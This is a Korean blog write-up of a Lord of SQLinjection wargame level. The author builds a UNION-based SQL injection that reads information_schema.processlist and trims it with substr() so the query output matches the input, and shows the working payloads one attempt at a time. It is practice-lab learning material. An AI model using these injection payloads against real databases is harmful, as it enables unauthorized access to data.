이전 문제랑 해결법은 비슷하다. 입력값과 결과값이 동일해야 한다는 점인데...

이번에는 'ace' 라는 문구를 필터링하고 있기에 replace()함수를 쓸 수 없다..

그래서 결국 구글의 힘을 빌려서 살짝 힌트를 얻었다.

 

바로 information_schema.processlist 를 이용하는 것

show processlist;

mysql 테스트 페이지에서 processlist에 대해서 알아봤다.

일단, INFORMATION_SCHEMA 에 대한 이해가 필요해 보인다. (이참에 공부..)


INFORMATION_SCHEMA 란

mysql 서버 내 존재하는 DB의 메타 정보들(DB내 테이블 정보, 컬럼 정보, 인덱스 등)을 저장하고 있는 DB이다.

INFORMATION_SCHEMA는 read_only이다

INFORMATION_SCHEMA에 대한 테이블 및 컬럼 정보는 다음 링크에서 참고 가능하다.

https://tempuss.tistory.com/entry/DataBaseinformationschema

 

DataBase(information_schema)

DataBase는 다양한 정보의 집합이다.하지만 방대한 양의 데이터를 하나하나 처리하기 위해선 시간이 오래걸리므로 미리 데이터에 대한 정보를 정리해 놓는다.이것을 메타데이터라고 하는데 informa

tempuss.tistory.com

테이블 중 processlist 라는 테이블은 현재 실행중인 프로세스에 대한 정보를 주는 것 같다.

select * from information_schema.processlist;

SQLtest 사이트에서 테스트해본 결과 현재 프로세스에 대한 정보들을 확인할 수 있는데 INFO 컬럼에는 실제 SQL 쿼리문이 그대로 들어가 있음을 알 수 있다.

이 점을 이용하여, pw에 들어가는 입력값 = info 컬럼 값 동일하도록 불러오면 문제를 풀 수 있을 것 같다.

select info from information_schema.processlist;

info컬럼을 조회하면 실제 쿼리문과 동일하게 불러온다. 그러면 이것을 문제에 적용해보자.

 


payload : pw = ' ' union select 1 # '

저번 문제와 동일하게 union select 문을 써서 입력값 = 결과값 동일하게 만들어야 한다. 

지금으로써는
입력값 : ' union select 1 # 
결과값 : 1 

앞에 ' union select 는 사라진다.. 

sql test 사이트에서 union select 문에서도 processlist가 먹히는지 확인했다. 매우 결과 잘나옴

select 1 union select info from information_schema.processlist;

위에서 만든 쿼리를 입력해봤더니 뒤에 내가 입력한 값 ' union select info from ~ 부분만 찍혀야 되는데 전체 쿼리문이 모두 찍혔다..

뭔가 잘못되었다.

분명 내가 입력한 값 : ' union select info from information_schema.processlist # 

이게 들어가야 되는데 앞에 select pw from ~ 쭉 모든 쿼리가 반환되고 있다. processlist 는 전체 쿼리문을 모두 반환하기 때문에 여기서 내가 필요한 부분만 뽑아내야겠다. 내가 입력한 값과 동일하게 빼내야 한다.

위 문제에서 현재 info 컬럼의 값은 

select pw from prob_zombie where pw='' union select info from information_schema.processlist #'

이니..

여기서 ' union select ~ 만 뽑으려면 substr() 함수를 이용하여 시작점에서 부터 특정 글자수 만큼 자를 수 있다.

select 1 union select substr(info,1,10) from information_schema.processlist;

먼저 sql 테스트 사이트에서 구문을 테스트해본 결과 (1)첫번째서부터 (10) 10개 까지 자르는 것을 확인할 수 있다.

입력 쿼리 : select 1 union select substr(info,1,10) from information_schema.processlist;
결과 쿼리 : select 1 u     # 띄어쓰기포함 10자리

우리는 ' union select ~ 부터 필요하므로...

이 상태의 쿼리(노란색 칠한 부분)에서 ' union select 부터 끝까지 자르면 된다.

 


1차 시도 

전체 쿼리 : select pw from prob_zombie where pw=' ' union select substr(info,10,20) from information_schema.processlist # '

에서 info(10,20) 10번째글자부터 시작해서 20글자를 세서 자르면 from prob_zombie wh 까지 보인다. 

 

2차 시도 

전체 쿼리 : select pw from prob_zombie where pw=' ' union select substr(info,30,20) from information_schema.processlist # '

에서 30번째 글자부터 시작해서 20글자를 세면 거의 근접하게 왔다. 

 

※ 일단 내가 입력하는 입력값의 길이는

' union select substr(info,??,??) from information_schema.processlist #   총 70글자이다.

substring함수의 두번째 인자는 70을 고정으로 하고 첫 시작 offset만 찾아도 시간단축이 될 것이다...

 

3차 시도 

전체 쿼리 : select pw from prob_zombie where pw=' ' union select substr(info,40,70) from information_schema.processlist # '

40번째를 시작점으로 했는데 다 들어오는 것 같아보이지만 마지막에 싱글쿼터 (') 도 포함되어 있고 맨 앞 싱글쿼터 (') 도 없다..

 

4차 시도 

얼추 맞는 거 같은데 잘 보면 맨 마지막에 %23(#)이 빠져있었다

 

5차 시도 

substr 두번째 인자인 문자열 길이를 한 글자 늘려줬더니 잘 풀렸다..

 

replace()보다 쉬운 듯..

 

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step33. cthulhu풀이  (0) 2023.08.31
[LOS] step32. alien풀이  (0) 2023.08.30
[LOS] step30. ouroboros 풀이  (0) 2023.07.05
[LOS] step28. FRANKENSTEIN 풀이  (0) 2023.07.03
[LOS] step27. blue_dragon 풀이  (0) 2023.06.22

+ Recent posts